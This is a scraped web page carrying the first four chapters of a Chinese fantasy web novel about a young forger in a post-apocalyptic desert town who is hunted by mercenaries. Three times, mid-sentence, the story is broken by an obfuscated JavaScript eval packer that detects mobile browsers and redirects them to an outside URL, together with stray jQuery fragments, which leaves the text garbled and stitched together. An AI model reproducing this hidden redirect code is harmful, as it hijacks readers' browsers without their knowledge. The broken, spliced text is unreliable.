《锻造师她想输出》 1. 第 1 章 浩劫后十八年。 若从万米高空俯瞰而下,可以发现星球表面被诡异暗红覆盖,只剩下一个圆形区域未被侵蚀,侥幸从浩劫中存活下来的人们将其称为残存区。 朝着残存区的西南方,穿过满天黄沙,有一个边陲小镇坐落在沙漠之中。 这里植被贫瘠、资源稀少,还饱受邪魔异兽侵袭,唯一的好处可能便是毁灭性天灾甚少降临。 在碎石铺成的道路边,一处小院中不断传出敲敲打打声,在几轮日升月落后,屋内叮当作响的声响终于消散。 手中的锤子被放在一旁。 熔炉中火焰在不断跳跃,被火光映照许久的刀语心擦去脸上汗水,再用铁钳夹起一块不断散发着热量的灼热金属,将其浸入盛满液体的容器中淬炼。 听着金属因急速降温而发出的声响,看着高温与液体接触而产生的水雾,她在心中默数十秒。 最后一个数字落下,她将铁钳重新举起,没什么神采的目光冷静地审视着被夹住的金属质地护符。 成功了,不过还有些粗糙,得打磨一下再刻印。 刀语心将护符取下收好,就几步从无比炎热的锻造室中离开。 拧开院中的水龙头,微凉的水从其中汩汩流出,还没来得及在手心中蓄起一捧,刀语心就听到一声巨响。 她皱眉侧头朝声音发出的地方看去,是大门的方向,有人在很用力地敲门发出噪声。 耳边传来翅膀扑腾的声音,歇息在屋檐墙头下的小鸟受惊飞远,刀语心也因这突如其来的声响心生烦躁。 不间断的敲门声还在继续,她只能关上水龙头,甩干手上的水渍,面色不悦地走进另一间屋子拿起两个存储布袋朝着大门的方向走去。 门被刀语心分为内外两扇,她操控终端打开最外面的门,还有一扇坚不可摧的铁门挡在中间。 透过铁门的间隙,两人也得以看到对方。 一见到刀语心,门外那人就皱起眉头朝她埋怨着:“你这次怎么这么慢,委托时限就要到了,救世会要的东西呢?你真是不知……” 随手将其中一个布袋从缝隙中抛出,刀语心打断他滔滔不绝的指责。 外面的人急忙收声笑着向前接过,只不过在探查清楚里面的东西后,先前还喜笑颜开的脸色转瞬消失:“怎么只有一半?” “这要问你自己。”刀语心语调冰冷地反问:“我的材料呢?” 先前气势如雄的人此刻支支吾吾眼神飘忽,他根本不敢对上刀语心冷冽漆黑的视线,也不敢告诉对方那些材料都被他抵押成赌资还全部输掉了。 但他眼神一转,想到刀语心只是个毫无战斗力的锻造师,又恶向胆边生。 “我才不管那些。”他理不直气也壮地嚷嚷着:“如果其他人来问责,那可没你好果子吃。” “再说了,邪魔潮就要来了,你不想死就快点把其他东西交出来。” 像是找到了趁手的武器,他源源不断地用进攻来掩饰自身问题。 即便是再厉害的辅助职业,在职业壁垒的限制下终归毫无战斗能力,灾难来临只能依靠庇护。 他越想越觉得自己在理,一个得让他人保护的锻造师不就该任人拿捏?她又凭什么质问自己? 看着眼前的独角戏剧,刀语心很清楚对方打的什么算盘,她不想多费口舌。 “先死的人只会是你。” 说完她就打算离开。 “喂——” 在操控终端关上大门之前,那人还在不依不饶地砸着铁门。 前几次他就已经偷奸耍滑,这一次如果再交不出东西,上面的人绝对饶不了他,想到这里,他从恐惧中生出许多愤恨。 “邪魔潮就要来了!没救世会保护,你就等着去死吧!” 恶毒话语不断溢出,加上门框因碰撞不断传出的杂音扰乱着一切。 闻言,刀语心只是嗤笑一声。 “保护我?” 说着,她转身回头,掌心中也多出一副手|弩。 没给对方反应时间,她抬起手臂对准那人轻扣扳机,泛着冷光的弩箭从既定的轨道中射出,顺着他的脑袋擦出一道血痕。 “你们这些人……保护我?”不在灾难来临时捅她一刀就不错了。 不理会那人捂着脑袋惊惧又愤怒的眼神,刀语心手指在终端上轻点,门被重重关上,她转身离开不再停留。 对于拿不到材料这个结果刀语心早有预料,所以她给的那一半都是些次品,至于为什么不是全都不给,因为她的确受制到桎梏。 在浩劫过后的新世界中,没有攻击性的辅助类职业是毫无争议的弱者。 但弱者也有属于弱者的反抗。 来到工作台前拉开椅子坐下,刀语心重新打量着手中的护符,被复杂但有规律的线条交织而成,在自然光的照耀下反射着金属光泽。 为了锻造出这枚护符,手上的材料被消耗殆尽,而她自己也已经两三天没睡过觉了。 不知道这一次究竟会不会得到她想要的结果。 将手中护符放在略微老旧的检测台上,从台面底部出现一道白色光圈从上到下匀速扫过护符,正当刀语心感慨这检测器还能再用一段时间时,它在最后卡住了。 刀语心:......念不得。 众所周知,一般修理失灵设备的办法是重启或者拍一拍,就在刀语心即将往检测器上猛拍一下时,检测出的结果急忙跳了出来。 紫阶良品保命护符(完成率100%),固有特性:可抵挡一次致命伤害,失效后护符自动碎裂。 见到特性和自己预想的一样,刀语心长舒一口气,那些材料和自己的时间没有浪费,这护符就是她用来抵御邪魔潮的手段之一。 生死往往就在一瞬,抵挡致命伤的特性不可谓不珍贵。 对此刀语心非常满意,先前的烦闷也一扫而空,但还没等刀语心起身,检测器的投影窗口突然一阵扭曲后就消失了。 她动作一顿,眨眨眼确定不是自己通宵几宿后出现的幻觉,又拍了检测器一下发现它依然没有反应,她只能认命地拿起工作台上的备忘录,在上面记下:购买检测器修补材料。 它可别想罢工不干。 不过今天是几号来着? 暗色双眸中浮出困惑,她看着日历上停留的笔迹还在三月三日,在锻造室的日子自己也是昼夜不分。 刀语心轻点自己的腕带唤起终端,半透明面板悬浮在她眼前,上面显示今天是三月六日。 但投影页面还没关,她顺手点开好友列表,发现自己在进入锻造室之前发的消息还没有被回复,角标也依然显示未读。 她眉头不自主地皱起。 对方是和刀语心交易的商人,以往并没有这样几天都不回消息的前例,她一直都是在每月固定的时间段和对方购买材料,而此刻石沉大海的消息让她心头一紧。 恐怕对方是在路上遇到了什么意外,但她不知道原因,也不知道对方什么时候会来。 属于自己的材料没有拿到,能购买的商人此刻也失去踪影,她手头上的材料为了打造出这枚护符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是今天唯一来问价的人,见对方即将离去,摊贩带着材料从地上迅速起身,追上刀语心拦在她的面前。 “五百,五百也行。” 摊贩言辞间的语调有些颤抖,他显然害怕被再次拒绝,但不得不去询问,因为他太需要这笔钱了。 而刀语心目光毫无波动的看着这人,从外表看得出来他受了重伤,腹部有一道可怖的疤痕,周围是被空气氧化凝结成固态的褐色鲜血,随着刚才剧烈的运动,伤口又冒出鲜血。 看来这就是他将这半截白阶铁杉木开出高价的原因。 “成交。” 她把和铜币相等的铜券递给对方,再将那块木头收进储存空间后就转身离开。 在她走出几步后,摊贩才发现对方给自己的不是五百铜券而是一千,他愣了一下,他其实很清楚这铁杉木真正价值就是两百铜币,叫价两千只是为了方便砍价。 治疗他身上的伤大概需要四五百铜币,剩下的钱他可以用来好好休养一段时间为邪魔潮做好充分准备。 站在原地的他眼眶微红,不知道该如何表达谢意,只能远远朝已经离开的背影喊道: “祝您好人一生平安!” 听到那人的话,刀语心的脚步未曾停歇,被斗篷遮住的目光依然平静毫无波澜。 她只是在心中想着那自己大概不是好人了,因为她目前为止的一生都算不上平安。 2. 第 2 章 之后的目的地是卫队,刀语心得去问问邪魔潮来临的具体时间。 卫队是自发组建的无营利组织,平日做得最多的事是救助弱小和惩治暴徒,也是有了卫队无名镇才从浩劫后的混乱中恢复了秩序。 镇子不算大,不多时刀语心就咬着从路边买的馕走到卫队营地。 她摘下兜帽推门进入就感到氛围有些古怪,平日在院中训练的战士不见踪影,走进屋内她还见到一位受伤严重躺在支架上不能动弹的队员,医师在他身旁不断施展治疗法术。 “我们的小锻造师锻造完了?终于有空来找我了。” 飒爽的女声随着一阵稳健有力的步伐传来,刀语心转身就看到了裴瑛。 来人面容英气一身精简干练的装束,腰间佩有一把大刀,手臂上戴着的独特臂徽彰显着她身为卫队统领的身份。 但刀语心只觉得裴瑛眉间聚着一抹化不开的愁色。 走进后,她的目光被裴瑛右手上一道颜色深绿的怪疤痕引去,刀语心向来古井无波的眼中浮出担忧。 “队长,你身上的伤是怎么回事?” 闻言裴瑛神色间露出少见的疲惫,她开口将不久前发生的一切告诉刀语心。 本来只是一次正常巡逻,但不知为何沙漠深处的三十级异兽跑了出来,即便裴瑛收到求救信号及时赶过去但还是折损了两人,活下来的人也或多或少受了伤。 如果是一般的伤势也还好,偏偏那头异兽的攻击带毒,卫队医师等级不高分析不出毒素构成,而镇子里其他高等级的医师也都不见踪迹。 没有解毒手段就无法彻底治愈伤势。 身为五十五级战士的裴瑛暂且能靠自身身体素质压制毒素蔓延,但其他等级偏低的人就不一样了,他们的处境岌岌可危。 “现在镇上只有神殿的医师能够治疗他们,但你也知道,神殿那群人不会出手相救。” 神殿的人向来不作为,或者说是对在他们眼中无用之人从不作为,他们会救刀语心,会救裴瑛,但唯独不会救普通人,因为后者对他们而言没有利用价值。 现在裴瑛和她的副官用了许多手段勉强维持住伤员的性命。 “但如果情况开始恶化,那么他们还是只能死去。” 听到这里,刀语心感到从裴瑛身上传来的悲伤,她知道身为卫队的队长,裴瑛想保护好每一个人。 毒素…… 看着那些颜色诡异的伤口,刀语心想起一种医疗装置,它的特性是可以治疗任意毒素,只不过她现在手上没有合适的锻造材料。 既然知道解决方法,那她就会去做。 她自小被裴瑛照顾良多,这也是她虽不是卫队中人但称呼裴瑛为队长的缘由。 “队长,你们再坚持一段时间,我会出镇去找到制作医疗装置的材料。” 听到刀语心的打算,裴瑛面上露出不赞同的神色,从前即便出镇刀语心也是跟在他们的身边。 “我不放心让你一个人出镇,即便我之前教你刀法体术的时候你都学会了还学得很快,但毕竟有职业壁垒的存在,更何况让他们受伤的责任在我。” 身为锻造师,刀语心的未来前途无量,而裴瑛又怎舍得让刀语心为了自己的过失去冒险? “不,我不是为了队长你们才选择出镇的。”刀语心摇摇头,神色坚定地说着。 “我手上材料不够了,本来就打算出镇寻找,毕竟再不造点东西卖出去我也要吃不上饭了。” 这是实话,刀语心算过一笔账,自己的余额只够和商人购买普通材料,还不谈其他更高阶的物件。 但不可否认刀语心的私心也确在其中,她想为裴瑛做点什么。 闻言,裴瑛沉默下来,她看着站自己面前的少女。 相处多年下来,看着刀语心这副模样,裴瑛就知道她已经下定了决心,刀语心一旦做出决定很难能够改变,这也不知是好是坏。 明白刀语心想法的裴瑛不再执意阻止,而是提出其他对策。 “我派两个人同你一起,你身为锻造师独自出镇实在有些太过危险。” “不用了队长,卫队现在人手紧张,我一个人会小心行事,如果遇到我解决不了的危机我会自己逃走。” 从一开始刀语心打算的就是自己一个人出镇。 卫队的人本就不多还被突如其来的异兽重创一部分,再加上邪魔潮即将来临,他们需要提前做好布防保护无名镇中手无寸铁的人们。 她也不会在紧要关头拉着别人和自己一起冒险,她会为自己的决定负责。 “你这孩子……”裴瑛无奈摇头。 “既然你已经做好了打算,那我也不再拦你。”裴瑛拿出一把信号枪放在刀语心手中,还有数十发信号弹。 “如果遇到危险就发射,不必过多顾虑,出门在外切记逞强,保护好自己才是首要的。” 边叮嘱着刀语心,裴瑛边拿出一块成色不错的矿石。 “这是之前本来打算卖给商人的材料,商人一直没来我们也卖不出去,你先拿去用。” 身为锻造师刀语心一眼就认出裴瑛手上矿石的种类:岩铁矿石,是一种质地不错的蓝阶材料值不少钱,而且很适合用来打造武器主干。 还没等刀语心收下道谢,裴瑛又将一枚金币塞到她手掌中,刚才刀语心说的话她都记得,又是缺材料又是没钱吃饭的。 “虽然不多,但买好吃的再出城吧。”说到吃饭,裴瑛又是摇了摇头,“也不知道你这次又是多少天没好好吃饭。” “哪里还少,队长你给我的东西已经太多了。”刀语心脸上是略微无奈的浅笑。 她已经有些不知如何是好了,一直面无表情的刀语心也只有在裴瑛身边会出现一些淡淡的神色变化。 “都是些小物件而已,最重要的是你一定要平安回来。”裴瑛继续嘱咐着。 “队长放心,我会的。”刀语心认真答应下来。 既然是裴瑛的心意,刀语心不会多客气什么,她将那些东西收好,然后挥挥手和裴瑛告别。 “等我回来。” 说完后,刀语心转身潇洒离开,不过没走几步,她又折返回来了。 “队长,我忘了问,邪魔潮大概是什么时候会来啊。” 忙了半天刀语心差点把自己最开始的目的忘在脑后。 见此裴瑛眼中闪过一丝温柔的笑意,也只有偶尔冒失的时候才会让人察觉到刀语心也不过是个才刚满十八的少女。 “队里预言家预测的是三月二十日,但他的等级并不高,这不一定是最准确的时间,以防万一最好尽早回来。” “好,我记住了。” 满载而归回到家中的刀语心制定着之后的计划。 离邪魔潮来临还有两周左右,她计划用十天时间来回沙漠寻找材料,剩下四天用来锻造以及预防邪魔潮提前到来。 而今天剩下的时间,她打算用来打造武器以及准备一些消耗性道具。 先前的护符,刀语心用一根细绳串起贴身佩戴,本该还要进行后续打磨,但此刻时间紧迫她只能先锻造其他对自己更有用的东西。 有了裴瑛给的岩铁矿石,刀语心手上的材料充裕了一些。 身为一个战斗经验并不丰富的锻造师她和敌人正面缠斗是不利的,掂量着手中矿石的重量,刀语心觉得自己该做一把匕首,匕首轻便灵活,很适合用来偷袭。 不过光有匕首也不行。 除了那块岩铁矿,她现在还剩下半块蓝阶尘金矿。 尘金矿质地不算硬,但胜在自身容纳性强可与不同材料结合,能将之前材料剩下的边边角角全部融在里面打一把横刀,也算是废物利用了。 打定主意后,刀语心就开始行动。 熔炉重新升到高温还需要一段时间,在达到合适温度之前刀语心在一旁调配着淬炼液。 浩劫过后的世界,植物也得到了进化。 草药的效用变得千奇百怪,除去制药、制毒、调配药剂外,甚至一些草药经过特定加工和配比后,可以用来增加不同种材料之间的融合度,或者用来给武器附加特殊效果。 淬炼液就是实现附加特殊效果的方式之一。 那头攻击带毒的异兽给了刀语心灵感:为什么不让自己的攻击也带毒呢? 她按照草药的特性叠加,再融合淬炼液的调配方法,做出了第一管样品。 为了方便查看淬炼液的效果,她将检测器从工作台上搬过来修理,维修的材料其实不全,但刀语心将其拆开重装又敲敲打打贴上几块补丁后,检测器勉强运行起来。 只不过检测器几次都没检测出毒性。 摇晃着手中的试管,刀语心又重新检查了草药的特性,她在怀疑自己和怀疑检测器之间来回摇晃。 调整数次草药配比后,检测器的显示页面终于出现了改变。 特殊淬炼液,特性:微毒(你可以用其毫不费力地毒死一只蚂蚁大小的生物) 视线扫过几遍括号中的内容,刀语心总觉得这检测器是在暗指什么,但为了不让锻造过程增加更多困难,她忍住给检测器一拳的冲动。 不过这至少说明她调整的方向对了,将最后一次加入的草药剂量翻倍后,特性终于变成了剧毒。 熔炉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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做完这一切时间已经到了深夜,将所有物品清点一遍放入空间戒指后,刀语心倒头就睡。 次日一早,腕带传来的震感将刀语心从噩梦中惊醒,她挣扎着从床上起身,收拾完毕后她戴上兜帽就出了门。 时间还很早,天色刚刚破晓,但街上已经有许多来往的人影。 形单影只的刀语心走在出镇的路上,算起来这还是她长大后第一次自己出镇,如果不算上从前无数次逃跑的话。 她本以为在这个节骨眼还出镇的人不会多,但她没想到会有许多人打算离开。 小镇的出口处聚集着一小撮人,被他们堵住去路的刀语心只能被迫混迹人群中艰难前行,在前行过程中有争吵声传入她耳中。 “邪魔潮这么恐怖的东西,这小小的无名镇抵挡得住?” “不是还有卫队的人吗?为什么我们非走不可?” 这人认为,只要有卫队挡在他们身前,他们就永远不必面对邪魔潮的危险。 “他们连一只异兽都解决不了,还指望他们能在邪魔潮来的时候保护我们?他们只会比我们更先死去!” “我可是听说了,邪魔潮比一般的天灾异兽都恐怖万分,留在这里我们完全没有活路。再说了,你还真以为大灾当前卫队的人能舍己为人?少做梦了!” “我带着你一起逃走你就感恩戴德吧!” “……行行行。”随着一人的退让,这场争吵暂时停息。 他们离开的理由是担心无名镇无法抵御邪魔潮,但听说这两个字就很耐人寻味,先不说邪魔潮,离开无名镇本就是一桩难事,周围黄沙漫天单靠人力不知要几天几夜才能离开。 逃避是无用的,更何况他们又为什么觉得自己能在异兽天灾的围攻下活着走出沙漠? 事出反常必有妖,说不定是有人借着邪魔潮来临前的恐慌在煽风点火。 常年往卫队跑的刀语心大概也有那么两三分保护弱小的意识,虽然对方看起来是行动能力的正常人。 她本想出言劝阻让对方少以己度人,卫队是值得信赖的,但随后却又听见声音很大的那人继续说: “再说了卫队有什么用?那卫队队长连自己的手下都保护不了还来保护我们?嘴上说得好听,没实力现在来装什么圣人。” 周围随即响起了表示赞同的附和声,夹杂着几句更为恶毒的咒骂,仿佛要将一切罪责都推到卫队头上才肯罢休。 好言难劝该死的鬼,刀语心即刻舍弃先前的想法,准备继续离开人群。 她觉得自己还是尊重他人选择好了。 “是啊,那裴瑛会是什么好东西?听我的,只有离开这里才是活路。” 又一道颇具嘲讽意味的声音响起,刀语心停下脚步目光冰冷地扫向声音源头,是一个脸上挂着讥诮表情的雇佣兵。 3. 第 3 章 那人是佣兵头子,他身后还跟着四个人并且每人都揣着一支枪,刀语心认出那些枪是经过一定改造的旧世界产物。 不过改造技术着实一般,甚至算得上劣等,就像他们的主人一样。 看到这些雇佣兵的第一眼刀语心就知道他们不是什么好东西,但其他人显然与她相反,在见到那雇佣兵后,刚才还大放厥词的那人换了一副恶心谄媚的嘴脸迎了上去。 “您终于来啦,请问我们什么时候可以上载具?” 提到载具,在场的视线全都聚焦到雇佣兵一行人身上,刀语心也同样。 为首的那人一个眼神示意,身边之人就向前一步开口:“出镇一个人三万,沙漠载具会将你们安全送到沙漠最边界。” 听到他们确实有载具,刀语心本想离开的念头彻底抹消了。 理由也很简单,在沙漠徒步十分缓慢,载具可以极大缩短在路上浪费的时间。 “不过这价格……之前不是说好两万吗?” 原本还一副讨好模样的那人话语间面上露出几分难色,人群中也响起窸窸窣窣的讨论声,无名镇的大多数人一年到头也就花几千铜币,三万铜币相当于他们大半的积蓄。 虽说他们中许多人已经卷走了家中所有的钱财,但本性自私的他们总是会为自己多考虑几分。 “之前是之前,现在大家都知道邪魔潮要来了,我们也是冒着极大的风险护送各位,如果不愿意我也不强求,只不过……这人死了可就什么都没了。” 聚在这里的这些人本就贪生怕死,听到这话即便是再不愿掏钱也只能咬咬牙忍下。 “有回程票吗?”一道声音响起。 在急着离开的人群中,出声的年轻男子显得格外突兀,周围那些人投向他的视线中是止不住的怪异。 “当然,也是三万。” 佣兵头子应下,自始至终都没露出惊讶的神色。 他深知如今的世界对有能力的人来说不存在绝对的危险,和这些只需要煽风点火就惊慌失措跑路的人不同,总有人会选择在危机中留下来,也总有人会和他们一样险中求进。 从始至终未发一言的刀语心也跟在那人身后交了六万。 那佣兵头子看了她一眼,但很快收回了视线。 这队佣兵有两辆载具一小一大,原本大的是用来拉货的,但如今用来拉人刚好。 比起想要逃离无名镇的人,打算回来的人算是少之又少,除了刀语心和问回程票的年轻男子,还有一队三人冒险家。 雇佣兵队分出三人护送那些人离开,而剩下的佣兵头子和另一个略显阴沉的雇佣兵带着刀语心他们上了小型载具。 佣兵头子坐在驾驶位上和其他人告别。 “祝你们一路顺风。” 虽然是祝福的话,但是刀语心从那怪异语调中只听见了无边浓稠的恶意。 藏在兜帽下的视线透过反光镜看着佣兵头子那副暗藏讥讽的面容,心想这人大概一开始就没打算将那些人送出沙漠,绕了这么大一圈不敢在无名镇上动手大概是因为卫队的存在。 谋财害命啊,那他下一个目标是谁?会是身处这辆载具上的他们吗? 刀语心很清楚自己现在是在与虎谋皮,但路上节省下来的时间能让她做许多事情,载具为她带来的利益足以覆盖她所承受的风险。 心中天平已经向另一边的利益倾倒,既然做出了选择,她就会承担相应的后果,更何况在未来没有到来之前,一切都是可变的。 她握着匕首合上双眼稍作歇息,等待佣兵头子带他们抵达目的地。 悬浮载具在沙漠上疾驰,只用了几个小时就到了往常要走两天才能到的营地。 野外开荒大多都是选定一个营地,然后向外四散探索。 沙漠中没有什么特殊资源,相隔大半沙漠都能找到相同的材料,只是不同区域数量多少的问题。 营地也不止一个,不过佣兵头子带他们来的这个营地是镇上外出的人常来的。 刀语心和冒险家小队下了载具,但那年轻男子没有下来。 他投影出一处坐标和那佣兵头子说:“我再给你加五万,带我去这个地方。” 佣兵头子没有拒绝,转头向其他人开口:“第七天的正午在这里集合。” 扭头说完后他就开着载具扬长而去了。 大多数人都是无利不起早的,这番举动暗藏的信息是沙漠中出现了什么特殊的东西。 不过刀语心虽有好奇心但暂时不打算深究,她只希望自己能收集到所有需要的材料然后平安回去。 在投影地图上规划好自己的路线后,她转身走向茫茫荒漠之中。 而另一边,在看着那男子刚离开载具就消失在自己的视野范围之内后,佣兵头子再一次感受到人与人实力之间的差距。 短距离,不,应该是中距离瞬移,但也达不到长距离,否则对方不会搭上他们的载具。 即便如此,这也已经是年迈的他再也无法跨过的鸿沟,他收回目光,转头询问一直坐在副驾驶位不发一言的人。 “老五,看出来他们的身份了么?” 名为老五的雇佣兵点头,又摇头。 “那个戴兜帽的,我看不到。” 除了刀语心,其余四人都没有做什么伪装。年轻且实力强的男子是属于公会的宋齐,职业是行者,等级23。 比起他另外那队冒险家就显得有些不够看,职业分别是战士法师和医师,而三人等级加起来没宋齐高。 “用技能了吗?” 佣兵头子问的是老五的职业技能,洞察初级:能够看出其他人的职业和等级,且不被人发现。 “用了,但失败了。” 听到这话,佣兵头子下意识地摸着自己胡子拉碴的下巴,这是他思考时的习惯。 “老大,他们回来了。”老五出声提醒。 是之前负责“护送”的那三人,他们开着载具停到了佣兵头子附近,与他们三人一同而来的还有空气中久久不散的血腥味。 分明一开始是驶向完全相反的地方,但他们很快就汇合到了一起,而原本在货厢中的人群如今一个都不见了,只剩下了一堆染血的行囊。 老五也和其他三人说了这几人的身份,作为副手的老二也察觉到宋齐此番举动异常。 在邪魔潮来临之际出镇的人无非都是为了利益二字。 雇佣兵们自己是为了图财害命,他们知道那队冒险家之前得罪了无名镇中的某人,不得不出来开荒找材料赔账,而宋齐主动深入沙漠的目标肯定也不一般。 沙漠中肯定有什么宝贝。 老二将自己的推测告知众人,他的想法很简单:虽然危险,但这也是他们的机会。 身为雇佣兵的他们本就是在一次次的高风险中求得利益。 “不,那宋齐的等级比我们都高,他还会中距离瞬移,即便我们有五个人也讨不到多大的好处。” 虽然他们一行人的等级都在18上下,只有老五刚好20,到了二十级后开始职业细分还会获得第二项技能,是前期的分水岭。 “那我们就这样放弃了?”老二脸上是明晃晃地不赞同。 他只觉得老大是真的老了,机会在前只会犹犹豫豫,用那些低劣的手段得来的稳妥利益远不及从前。 “我们还有另外的机会,那个兜帽人。”佣兵头子没有急着反驳,只是用他那浑浊不堪但又透露着几分精明算计的双眼直视着老二。 “她的身份是无名镇上唯一的锻造师,刀语心。” 佣兵头子从边边角角的琐碎信息中找出了兜帽人的真实身份。 无名镇上大多都是老弱病残,敢出城的就只有那几方势力:神殿、公会、卫队,就算是独行者,也或多或少会和这几个势力沾上关系。 神殿有自己的载具,如果是公会的人会和宋齐一道,至少绝不会互不认识没有任何的交流,他们也没有任何理由在雇佣兵面前演戏。 剩下的就是卫队,裴瑛的势力受到异兽重创,将高等级医师全部送走的他自然知道卫队的人无力治疗,神殿也不会出手救治他们,而这恰恰对上刀语心出镇的目的。 即便不是全部,但她大概会为了给裴瑛做医疗装置去寻找材料,只要稍加探查她搜集的材料是否有治疗方面的草药就能确定。 还有在他之前出言讽刺裴瑛时,他看到兜帽人朝他投来视线,以及当时感受到的一丝杀意。 虽然消失得很快,但让他印象深刻,现在看来应该就是她。 以及她大概从没想过自己用来隐藏的手段会是将她暴露出来的最大疑点。 他知道刀语心,毕竟是裴瑛那女人的心头宝,据他所知刀语心一直都待在无名镇,所以她不知道自己身为锻造师能力的恐怖。 她能抵挡老五的初级洞察,就说明斗篷的隐蔽特性在初级之上,在所有职业中有能耐在一顶斗篷上附加隐匿特性的人,只有锻造师。 佣兵头子记得曾经有一件拥有高级隐匿特性的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237801|166192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着被拍卖到二十万金币。 其他人有这样的财力会优先选择提升自己实力的装备,只有身为毫无战斗力可言的锻造师,才会用这样的手段将自己小心翼翼地隐藏。 听完佣兵头子的话后,所有人已经在心中做好了权衡。 那宋齐的实力强,他们贸然前去,还有可能会葬送自己的小命,而相比之下,活捉一个锻造师就简单多了。 威胁程度和前者完全不是一个量级的。 即便老二依然心有不满,但在面对众人共同的利益时他也知道退让,只不过脸色不那么好看。 在听到老大说那兜帽人的身份是锻造师后,老三和老四明显兴奋了起来。 “我们从中央城逃走之前,不是听到好多大家族都在找锻造师,用她换得的钱够我们下半辈子天天喝酒吃肉了!” “把她活捉后我们就发大财了!” 听着二人的欢声笑语,佣兵头子脸上也露出贪得无厌势在必得的笑。 而刚抵达第一个材料收集点的刀语心,丝毫不知道自己已经被人视作砧板上的鱼肉。 她只感到自己后背突然一阵恶寒。 是谁想害她? 正准备伸手采集一株植物的刀语心站直了身子,白阶探查目镜悬在她眼前,透过单边目镜扫视了一圈周围,发现除了自己就没什么活物。 是自己太过敏感多疑? 她再度低头,却看见探查目镜页面显示:光影的覆盖范围错误。 而随后刀语心也发现了问题所在:影子错乱是因为有一个隐形的生物投射了不属于炎晶棘的影子。 行动停顿的片刻,蛰伏在炎晶棘上的晶影蛛也意识到眼前的人类发现了自己,它率先向刀语心发起攻击。 它吐出了毒液,不过被刀语心的臂甲挡了下来。 而失去先机的它再无任何反击机会,刀语心抽出横刀把它劈成了两半。 这就是那阵背后发凉给她的提示吗?直觉告诉她不是。 即便是被晶影蛛伤害到了也无妨,它的等级太低甚至破不了刀语心的防御,只是解毒有些麻烦,但作为解药的炎晶棘就近在眼前。 那股恶寒的源头到底是什么? 她的脑海中不由得闪过了佣兵头子的面貌。 论行为,他暂且也还没有做出什么有损她利益的事,但往后就说不准了。 但论心,刀语心的确想杀了他,理由很简单,裴瑛不是他能随意评价的。 刀语心知道自己从来都不是什么圣人,她决定从心。 她迟早会杀了他。 不过现在的首要目标还是收集到足够多的材料,将这一片的炎晶棘全部采集后,晶影蛛快要没入沙尘的尸体也被刀语心捞了起来。 作为一个合格的锻造师,刀语心深谙废物利用之法。 在锻造师的眼中没有垃圾,无论是多么无用的材料都会有一个时机能够发光发热,而身为锻造师的他们会和材料一起等待着那一刻的到来。 不过晶影蛛的尸体不用等,刀语心已经打算将其作为之后陷阱的饵料。 将清单上的材料勾掉一种后,刀语心接着前往下一个收集点。 投影上显示离太阳落下还有四个小时,如果计划顺利,夜晚她可以在一处岩洞中落脚。 只是现实从不顺着计划发展。 在前往岩洞的最短路径上,有两只异兽正在打架,刀语心戴上探测目镜趴在一座沙丘上,远远看着它们角逐。 目镜将其放大,还在一旁显示出它们的信息:一只铁角蛮羊,还有一只裂地角兽。 她看着它们的力量扬起无数沙尘,即便相隔甚远刀语心依然能感受到从战场中心传来的震动。 简单浏览资料后,刀语心发现这附近应该都不符合它们的栖息条件,脑海中随之出现疑问:那为什么它们会出现在这里? 她不由得联想起之前被袭击的卫队。 这些本不该出现的异兽,究竟是什么让它们纷纷离开原本的领地? 许多疑问在她的心中埋下,不过现在还不是探究的时机。 刀语心继续观察着战场,思考着自己的下一步行动。 异兽的探查范围很广,如果要让自己不被察觉地安全离开,她需要绕很远的路,等赶到岩洞的时候大概都已经天亮了。 既然都这样了,刀语心干脆舍弃原先的计划,准备从它们身上收一点精神损失费。 鹬蚌相争渔翁得利,她就在这里等着那两只异兽两败俱伤。 4. 第 4 章 打定了主意要招惹它们,刀语心将目镜的洞察模式打开,先前只是用了简单的放大功能,此刻则是能够看到被洞察一方的职业等级。 目镜等阶不高,对方如果感知能力很强,会察觉到她,不过此刻争斗得头破血流的两头异兽显然不在乎这小小的举措。 那头裂地角兽的等级是14,铁角蛮羊则是15,职业都是战士。 异兽基本是清一色的战斗职业,因为他们靠厮杀获得地盘延续族群,不过即便现在都是战士但以后总会有不同,等级达到二十级后会开始职业细分,就像一棵树苗上的枝丫会朝向不同的方向。 前期一般来说是等级高的更占优势,更何况是15这样获得天赋的分水岭。 但异兽又讲究血脉,刀语心洞察不出他们各自血脉的具体数据,但能够看出纯度的高低:等级低的那只血脉纯度更高一些。 而在异兽中血脉纯度越高,就越容易继承种族特性,从血脉中觉醒的技能和天赋也就会越多。 这场战斗的最终胜者刀语心拿不定主意。 不过它们谁生谁死对她来说都无所谓,既然要当最后的黄雀,那无论活下来的是谁,她都会把它杀死。 太阳即将落下,刀语心开始沿着沙丘背面朝着异兽所在的方向缓慢移动。 “那片绿洲是我的地盘,你懂不懂什么叫做先来后到?!” “哼,谁在乎那些东西,把你杀了那就会是我的地盘。” “区区一个血脉驳杂的东西,不过是得到点好运升到十五级,你就敢这么和我说话?你是不是忘记了你族群的死状了?” “你还敢提它们?你们这群只会偷袭的卑劣恶徒。” 这又是哪门子的爱恨情仇? 已经悄悄摸到附近的刀语心听了一会才分清谁是谁,她本想看看能不能听到什么有用的信息,结果听到了一嘴陈年旧怨。 不过还是得到了一些有用的消息:这附近应该存在一片绿洲,这也是它们争斗的源头。 